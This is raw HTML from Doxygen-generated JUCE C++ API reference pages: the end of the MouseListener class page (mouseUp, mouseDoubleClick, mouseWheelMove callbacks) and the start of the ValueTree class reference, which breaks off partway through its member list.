href="classResizableCornerComponent.html#a93684b148378188690ccb51bb7fbcaca">ResizableCornerComponent</a>.</p> </div> </div> <a class="anchor" id="ac5eb93de1cfd68a35473071df3e2e8cc"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual void MouseListener::mouseUp </td> <td>(</td> <td class="paramtype">const <a class="el" href="classMouseEvent.html">MouseEvent</a> &amp;&#160;</td> <td class="paramname"><em>event</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Called when a mouse button is released. </p> <p>A mouseUp callback is sent to the component in which a button was pressed even if the mouse is actually over a different component when the button is released.</p> <p>The <a class="el" href="classMouseEvent.html" title="Contains position and status information about a mouse event.">MouseEvent</a> object passed in contains lots of methods for finding out which buttons were down just before they were released.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">event</td><td>details about the position and status of the mouse event, including the source component in which it occurred </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classMouseListener.html#afebc11cdb56f49eeabc9f8b81814f9ce" title="Called when a mouse button is pressed.">mouseDown</a>, <a class="el" href="classMouseListener.html#a434a85e97e248920ae699a2f030bfa70" title="Called when the mouse is moved while a button is held down.">mouseDrag</a>, <a class="el" href="classMouseListener.html#a7ef5d0993f3036233f458fc88f71462c" title="Called when a mouse button has been double-clicked on a component.">mouseDoubleClick</a>, contains </dd></dl> <p>Reimplemented in <a class="el" href="classComponent.html#a9ef1d5efbd2b9c581c59ad75fb574fd4">Component</a>, <a class="el" href="classSlider.html#a064b6ee8d376cbce87b940b9d17c2254">Slider</a>, <a class="el" href="classTextEditor.html#a25254d51088d9492d1ef446f6dc2f71f">TextEditor</a>, <a class="el" href="classListBox.html#a452c0964666dc96b97c20475f258a54c">ListBox</a>, <a class="el" href="classButton.html#a3967f9ee39205cc575980e87fa6b8406">Button</a>, <a class="el" href="classTableHeaderComponent.html#aacaa015bac5a61a92136250a752c6cb7">TableHeaderComponent</a>, <a class="el" href="classComboBox.html#a2cb99db20f64898f597015fa3fe1011e">ComboBox</a>, <a class="el" href="classScrollBar.html#ab87813c334f9df71538212ba00e6eb55">ScrollBar</a>, <a class="el" href="classResizableWindow.html#a9fa6ed7d0c4ad350327816c559b3468b">ResizableWindow</a>, <a class="el" href="classCodeEditorComponent.html#aa9e63b9be7c5fdd5f2e90ed73740b8eb">CodeEditorComponent</a>, <a class="el" href="classLabel.html#a714eeb3f14b09c6b09ceb20c046a6e8f">Label</a>, <a class="el" href="classMidiKeyboardComponent.html#a1d96697550d0fdc899c0224b2402d158">MidiKeyboardComponent</a>, <a class="el" href="classResizableBorderComponent.html#a436bf6a9d3ffec969a550c9d9d80d33f">ResizableBorderComponent</a>, <a class="el" href="classResizableEdgeComponent.html#a68289d2190f909c884436cb663fae6e8">ResizableEdgeComponent</a>, <a class="el" href="classMenuBarComponent.html#a945b3ef7d65148defdb87a90fe0ebf11">MenuBarComponent</a>, and <a class="el" href="classResizableCornerComponent.html#a9917375d45f2c1947af0b2d7a620f749">ResizableCornerComponent</a>.</p> </div> </div> <a class="anchor" id="a7ef5d0993f3036233f458fc88f71462c"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual void MouseListener::mouseDoubleClick </td> <td>(</td> <td class="paramtype">const <a class="el" href="classMouseEvent.html">MouseEvent</a> &amp;&#160;</td> <td class="paramname"><em>event</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Called when a mouse button has been double-clicked on a component. </p> <p>The <a class="el" href="classMouseEvent.html" title="Contains position and status information about a mouse event.">MouseEvent</a> object passed in contains lots of methods for finding out which button was pressed, as well as which modifier keys (e.g. shift, ctrl) were held down at the time.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">event</td><td>details about the position and status of the mouse event, including the source component in which it occurred </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classMouseListener.html#afebc11cdb56f49eeabc9f8b81814f9ce" title="Called when a mouse button is pressed.">mouseDown</a>, <a class="el" href="classMouseListener.html#ac5eb93de1cfd68a35473071df3e2e8cc" title="Called when a mouse button is released.">mouseUp</a> </dd></dl> <p>Reimplemented in <a class="el" href="classComponent.html#a90a5f41210643598f6fdd5013800e5d0">Component</a>, <a class="el" href="classSlider.html#a51130e5125d8483fc45fe32c958bf0cc">Slider</a>, <a class="el" href="classTextEditor.html#a85bc41e6a8dcb730353ad1ac65c59e70">TextEditor</a>, <a class="el" href="classCodeEditorComponent.html#a883b27e657e54827bbf1abcf298ffd80">CodeEditorComponent</a>, and <a class="el" href="classLabel.html#ac8aa7b000471890ddfb5a9997b6ceb11">Label</a>.</p> </div> </div> <a class="anchor" id="afb5eae301f38f79acb6c13dcb8cb7532"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual void MouseListener::mouseWheelMove </td> <td>(</td> <td class="paramtype">const <a class="el" href="classMouseEvent.html">MouseEvent</a> &amp;&#160;</td> <td class="paramname"><em>event</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="structMouseWheelDetails.html">MouseWheelDetails</a> &amp;&#160;</td> <td class="paramname"><em>wheel</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Called when the mouse-wheel is moved. </p> <p>This callback is sent to the component that the mouse is over when the wheel is moved.</p> <p>If not overridden, a component will forward this message to its parent, so that parent components can collect mouse-wheel messages that happen to child components which aren't interested in them.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">event</td><td>details about the mouse event </td></tr> <tr><td class="paramname">wheel</td><td>details about the wheel movement </td></tr> </table> </dd> </dl> <p>Reimplemented in <a class="el" href="classComponent.html#a1bb56b659ce36b629397da5837595ef8">Component</a>, <a class="el" href="classSlider.html#a9b7ee511b24ee74065f92820423f0c46">Slider</a>, <a class="el" href="classTextEditor.html#ac5d9cb318b86e1661d39d65e4cc91aef">TextEditor</a>, <a class="el" href="classListBox.html#a2e80ef131eb8e538d1047c4545a63d52">ListBox</a>, <a class="el" href="classComboBox.html#a48d026065fbdd6822c1d2c07a72aa41b">ComboBox</a>, <a class="el" href="classScrollBar.html#a308b14576da7818ec9b1032745b33dc3">ScrollBar</a>, <a class="el" href="classCodeEditorComponent.html#a977b36773552d5304aa13cd3d77c1378">CodeEditorComponent</a>, <a class="el" href="classMidiKeyboardComponent.html#a270f042eb6b2eb022b97f8d0f926065d">MidiKeyboardComponent</a>, and <a class="el" href="classViewport.html#a80424caacc5b478b1904f3cfcda51cc9">Viewport</a>.</p> </div> </div> <hr/>The documentation for this class was generated from the following file:<ul> <li><a class="el" href="juce__MouseListener_8h.html">juce_MouseListener.h</a></li> </ul> </div><!-- contents --> <hr class="footer"/> <address class="footer"><small>All content &copy Raw Material Software Ltd.</small></address><br/> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-19759318-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </body> </html> <file_sep><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>JUCE: ValueTree Class Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">JUCE </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.2 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="classes.html"><span>Class&#160;Index</span></a></li> <li><a href="hierarchy.html"><span>Class&#160;Hierarchy</span></a></li> <li><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Namespaces</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark">&#160;</span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark">&#160;</span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark">&#160;</span>Macros</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> </div><!-- top --> <div class="header"> <div class="summary"> <a href="#nested-classes">Classes</a> &#124; <a href="#pub-methods">Public Member Functions</a> &#124; <a href="#pub-static-methods">Static Public Member Functions</a> &#124; <a href="#pub-static-attribs">Static Public Attributes</a> &#124; <a href="classValueTree-members.html">List of all members</a> </div> <div class="headertitle"> <div class="title">ValueTree Class Reference</div> </div> </div><!--header--> <div class="contents"> <p>A powerful tree structure that can be used to hold free-form data, and which can handle its own undo and redo behaviour. <a href="classValueTree.html#details">More...</a></p> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="nested-classes"></a> Classes</h2></td></tr> <tr class="memitem:"><td class="memItemLeft" align="right" valign="top">class &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree_1_1Listener.html">Listener</a></td></tr> <tr class="memdesc:"><td class="mdescLeft">&#160;</td><td class="mdescRight"><a class="el" href="classValueTree_1_1Listener.html" title="Listener class for events that happen to a ValueTree.">Listener</a> class for events that happen to a <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a>. <a href="classValueTree_1_1Listener.html#details">More...</a><br/></td></tr> <tr class="separator:"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:ad5671081941b3db9db42bf7fcbd2629c"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#ad5671081941b3db9db42bf7fcbd2629c">ValueTree</a> () noexcept</td></tr> <tr class="memdesc:ad5671081941b3db9db42bf7fcbd2629c"><td class="mdescLeft">&#160;</td><td class="mdescRight">Creates an empty, invalid <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a>. <a href="#ad5671081941b3db9db42bf7fcbd2629c"></a><br/></td></tr> <tr class="separator:ad5671081941b3db9db42bf7fcbd2629c"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:af2f66bc6973b9a7561af455bd6fb331c"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#af2f66bc6973b9a7561af455bd6fb331c">ValueTree</a> (const <a class="el" href="classIdentifier.html">Identifier</a> &amp;type)</td></tr> <tr class="memdesc:af2f66bc6973b9a7561af455bd6fb331c"><td class="mdescLeft">&#160;</td><td class="mdescRight">Creates an empty <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a> with the given type name. <a href="#af2f66bc6973b9a7561af455bd6fb331c"></a><br/></td></tr> <tr class="separator:af2f66bc6973b9a7561af455bd6fb331c"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ac96c26d40b84ef461c1afb882453612c"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#ac96c26d40b84ef461c1afb882453612c">ValueTree</a> (const <a class="el" href="classValueTree.html">ValueTree</a> &amp;) noexcept</td></tr> <tr class="memdesc:ac96c26d40b84ef461c1afb882453612c"><td class="mdescLeft">&#160;</td><td class="mdescRight">Creates a reference to another <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a>. <a href="#ac96c26d40b84ef461c1afb882453612c"></a><br/></td></tr> <tr class="separator:ac96c26d40b84ef461c1afb882453612c"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ac064e1f6095e5f21fc065d9f6b76a407"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classValueTree.html">ValueTree</a> &amp;&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#ac064e1f6095e5f21fc065d9f6b76a407">operator=</a> (const <a class="el" href="classValueTree.html">ValueTree</a> &amp;)</td></tr> <tr class="memdesc:ac064e1f6095e5f21fc065d9f6b76a407"><td class="mdescLeft">&#160;</td><td class="mdescRight">Makes this object reference another node. <a href="#ac064e1f6095e5f21fc065d9f6b76a407"></a><br/></td></tr> <tr class="separator:ac064e1f6095e5f21fc065d9f6b76a407"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a4e0b4721cb1ec7f79c59192df3b97bcc"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a4e0b4721cb1ec7f79c59192df3b97bcc">~ValueTree</a> ()</td></tr> <tr class="memdesc:a4e0b4721cb1ec7f79c59192df3b97bcc"><td class="mdescLeft">&#160;</td><td class="mdescRight">Destructor. <a href="#a4e0b4721cb1ec7f79c59192df3b97bcc"></a><br/></td></tr> <tr class="separator:a4e0b4721cb1ec7f79c59192df3b97bcc"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a998b47680444a00866db876dada8f254"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a998b47680444a00866db876dada8f254">operator==</a> (const <a class="el" href="classValueTree.html">ValueTree</a> &amp;) const noexcept</td></tr> <tr class="memdesc:a998b47680444a00866db876dada8f254"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns true if both this and the other tree node refer to the same underlying structure. <a href="#a998b47680444a00866db876dada8f254"></a><br/></td></tr> <tr class="separator:a998b47680444a00866db876dada8f254"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ae70dad6ed84e611492a1c682a83fcce5"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#ae70dad6ed84e611492a1c682a83fcce5">operator!=</a> (const <a class="el" href="classValueTree.html">ValueTree</a> &amp;) const noexcept</td></tr> <tr class="memdesc:ae70dad6ed84e611492a1c682a83fcce5"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns true if this and the other node refer to different underlying structures. <a href="#ae70dad6ed84e611492a1c682a83fcce5"></a><br/></td></tr> <tr class="separator:ae70dad6ed84e611492a1c682a83fcce5"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a4fee40c899026e8ac370b5fd2ff30c99"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a4fee40c899026e8ac370b5fd2ff30c99">isEquivalentTo</a> (const <a class="el" href="classValueTree.html">ValueTree</a> &amp;) const </td></tr> <tr class="memdesc:a4fee40c899026e8ac370b5fd2ff30c99"><td class="mdescLeft">&#160;</td><td class="mdescRight">Performs a deep comparison between the properties and children of two trees. <a href="#a4fee40c899026e8ac370b5fd2ff30c99"></a><br/></td></tr> <tr class="separator:a4fee40c899026e8ac370b5fd2ff30c99"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a9c1506afbe6b840e4ab43fabf275845a"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a9c1506afbe6b840e4ab43fabf275845a">isValid</a> () const noexcept</td></tr> <tr class="memdesc:a9c1506afbe6b840e4ab43fabf275845a"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns true if this node refers to some valid data. <a href="#a9c1506afbe6b840e4ab43fabf275845a"></a><br/></td></tr> <tr class="separator:a9c1506afbe6b840e4ab43fabf275845a"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ad212f52a1dee540a97b256a57c881fed"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classValueTree.html">ValueTree</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#ad212f52a1dee540a97b256a57c881fed">createCopy</a> () const </td></tr> <tr class="memdesc:ad212f52a1dee540a97b256a57c881fed"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns a deep copy of this tree and all its sub-nodes. <a href="#ad212f52a1dee540a97b256a57c881fed"></a><br/></td></tr> <tr class="separator:ad212f52a1dee540a97b256a57c881fed"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aaba6256213ee02c418e9ef3d320f0ff1"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classIdentifier.html">Identifier</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#aaba6256213ee02c418e9ef3d320f0ff1">getType</a> () const noexcept</td></tr> <tr class="memdesc:aaba6256213ee02c418e9ef3d320f0ff1"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the type of this node. <a href="#aaba6256213ee02c418e9ef3d320f0ff1"></a><br/></td></tr> <tr class="separator:aaba6256213ee02c418e9ef3d320f0ff1"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a5d41bc2066cae65b69aa614aa0f68ff1"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a5d41bc2066cae65b69aa614aa0f68ff1">hasType</a> (const <a class="el" href="classIdentifier.html">Identifier</a> &amp;typeName) const noexcept</td></tr> <tr class="memdesc:a5d41bc2066cae65b69aa614aa0f68ff1"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns true if the node has this type. <a href="#a5d41bc2066cae65b69aa614aa0f68ff1"></a><br/></td></tr> <tr class="separator:a5d41bc2066cae65b69aa614aa0f68ff1"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a16875a1c5f41f03f609a9d7870171fd6"><td class="memItemLeft" align="right" valign="top">const <a class="el" href="classvar.html">var</a> &amp;&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a16875a1c5f41f03f609a9d7870171fd6">getProperty</a> (const <a class="el" href="classIdentifier.html">Identifier</a> &amp;name) const noexcept</td></tr> <tr class="memdesc:a16875a1c5f41f03f609a9d7870171fd6"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the value of a named property. <a href="#a16875a1c5f41f03f609a9d7870171fd6"></a><br/></td></tr> <tr class="separator:a16875a1c5f41f03f609a9d7870171fd6"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a37c064d4411df78b7d1d8ded5cac3ce3"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classvar.html">var</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a37c064d4411df78b7d1d8ded5cac3ce3">getProperty</a> (const <a class="el" href="classIdentifier.html">Identifier</a> &amp;name, const <a class="el" href="classvar.html">var</a> &amp;defaultReturnValue) const </td></tr> <tr class="memdesc:a37c064d4411df78b7d1d8ded5cac3ce3"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the value of a named property, or a user-specified default if the property doesn't exist. <a href="#a37c064d4411df78b7d1d8ded5cac3ce3"></a><br/></td></tr> <tr class="separator:a37c064d4411df78b7d1d8ded5cac3ce3"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a55c5127906a252590c8a64c48c5e99d3"><td class="memItemLeft" align="right" valign="top">const <a class="el" href="classvar.html">var</a> &amp;&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a55c5127906a252590c8a64c48c5e99d3">operator[]</a> (const <a class="el" href="classIdentifier.html">Identifier</a> &amp;name) const noexcept</td></tr> <tr class="memdesc:a55c5127906a252590c8a64c48c5e99d3"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the value of a named property. <a href="#a55c5127906a252590c8a64c48c5e99d3"></a><br/></td></tr> <tr class="separator:a55c5127906a252590c8a64c48c5e99d3"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ad236114dc2a8c41c799f1fc51d1614bd"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classValueTree.html">ValueTree</a> &amp;&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#ad236114dc2a8c41c799f1fc51d1614bd">setProperty</a> (const <a class="el" href="classIdentifier.html">Identifier</a> &amp;name, const <a class="el" href="classvar.html">var</a> &amp;newValue, <a class="el" href="classUndoManager.html">UndoManager</a> *undoManager)</td></tr> <tr class="memdesc:ad236114dc2a8c41c799f1fc51d1614bd"><td class="mdescLeft">&#160;</td><td class="mdescRight">Changes a named property of the node. <a href="#ad236114dc2a8c41c799f1fc51d1614bd"></a><br/></td></tr> <tr class="separator:ad236114dc2a8c41c799f1fc51d1614bd"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a0dbec0d665fb9d57b9fd7b3189ec0ee0"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a0dbec0d665fb9d57b9fd7b3189ec0ee0">hasProperty</a> (const <a class="el" href="classIdentifier.html">Identifier</a> &amp;name) const noexcept</td></tr> <tr class="memdesc:a0dbec0d665fb9d57b9fd7b3189ec0ee0"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns true if the node contains a named property. <a href="#a0dbec0d665fb9d57b9fd7b3189ec0ee0"></a><br/></td></tr> <tr class="separator:a0dbec0d665fb9d57b9fd7b3189ec0ee0"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a2a07b801bd317aa8bf1ee9da5644fc35"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a2a07b801bd317aa8bf1ee9da5644fc35">removeProperty</a> (const <a class="el" href="classIdentifier.html">Identifier</a> &amp;name, <a class="el" href="classUndoManager.html">UndoManager</a> *undoManager)</td></tr> <tr class="memdesc:a2a07b801bd317aa8bf1ee9da5644fc35"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes a property from the node. <a href="#a2a07b801bd317aa8bf1ee9da5644fc35"></a><br/></td></tr> <tr class="separator:a2a07b801bd317aa8bf1ee9da5644fc35"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a2f750331b6a680f48751302be9313467"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a2f750331b6a680f48751302be9313467">removeAllProperties</a> (<a class="el" href="classUndoManager.html">UndoManager</a> *undoManager)</td></tr> <tr class="memdesc:a2f750331b6a680f48751302be9313467"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes all properties from the node. <a href="#a2f750331b6a680f48751302be9313467"></a><br/></td></tr> <tr class="separator:a2f750331b6a680f48751302be9313467"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a018730ee95c743705aa9132a37829b32"><td class="memItemLeft" align="right" valign="top">int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a018730ee95c743705aa9132a37829b32">getNumProperties</a> () const noexcept</td></tr> <tr class="memdesc:a018730ee95c743705aa9132a37829b32"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the total number of properties that the node contains. <a href="#a018730ee95c743705aa9132a37829b32"></a><br/></td></tr> <tr class="separator:a018730ee95c743705aa9132a37829b32"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a6ea2ce53b4759a37d58e3f99d9702e36"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classIdentifier.html">Identifier</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a6ea2ce53b4759a37d58e3f99d9702e36">getPropertyName</a> (int index) const noexcept</td></tr> <tr class="memdesc:a6ea2ce53b4759a37d58e3f99d9702e36"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the identifier of the property with a given index. <a href="#a6ea2ce53b4759a37d58e3f99d9702e36"></a><br/></td></tr> <tr class="separator:a6ea2ce53b4759a37d58e3f99d9702e36"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aa36d40c533583c723be757c77ade1a5c"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classValue.html">Value</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#aa36d40c533583c723be757c77ade1a5c">getPropertyAsValue</a> (const <a class="el" href="classIdentifier.html">Identifier</a> &amp;name, <a class="el" href="classUndoManager.html">UndoManager</a> *undoManager)</td></tr> <tr class="memdesc:aa36d40c533583c723be757c77ade1a5c"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns a <a class="el" href="classValue.html" title="Represents a shared variant value.">Value</a> object that can be used to control and respond to one of the tree's properties. <a href="#aa36d40c533583c723be757c77ade1a5c"></a><br/></td></tr> <tr class="separator:aa36d40c533583c723be757c77ade1a5c"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ad2596a93fa05a1a0c95cd6c275e77982"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#ad2596a93fa05a1a0c95cd6c275e77982">copyPropertiesFrom</a> (const <a class="el" href="classValueTree.html">ValueTree</a> &amp;source, <a class="el" href="classUndoManager.html">UndoManager</a> *undoManager)</td></tr> <tr class="memdesc:ad2596a93fa05a1a0c95cd6c275e77982"><td class="mdescLeft">&#160;</td><td class="mdescRight">Overwrites all the properties in this tree with the properties of the source tree. <a href="#ad2596a93fa05a1a0c95cd6c275e77982"></a><br/></td></tr> <tr class="separator:ad2596a93fa05a1a0c95cd6c275e77982"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a72c1b4a7e3b9518568d4f692358c25e5"><td class="memItemLeft" align="right" valign="top">int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classValueTree.html#a72c1b4a7e3b9518568d4f692358c25e5">getNumChildren</a> () const noexcept</td></tr> <tr class="memdesc:a72c1b4a7e3b9518568d4f692358c25e5"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the number of child nodes belonging to this one. <a href="#a72c1b4a7e3b9518568d4f692358c25e5"></a><br/></td></tr> <tr class="separator:a72c1b4a7e3b9518568d4f692358c25e5"><td 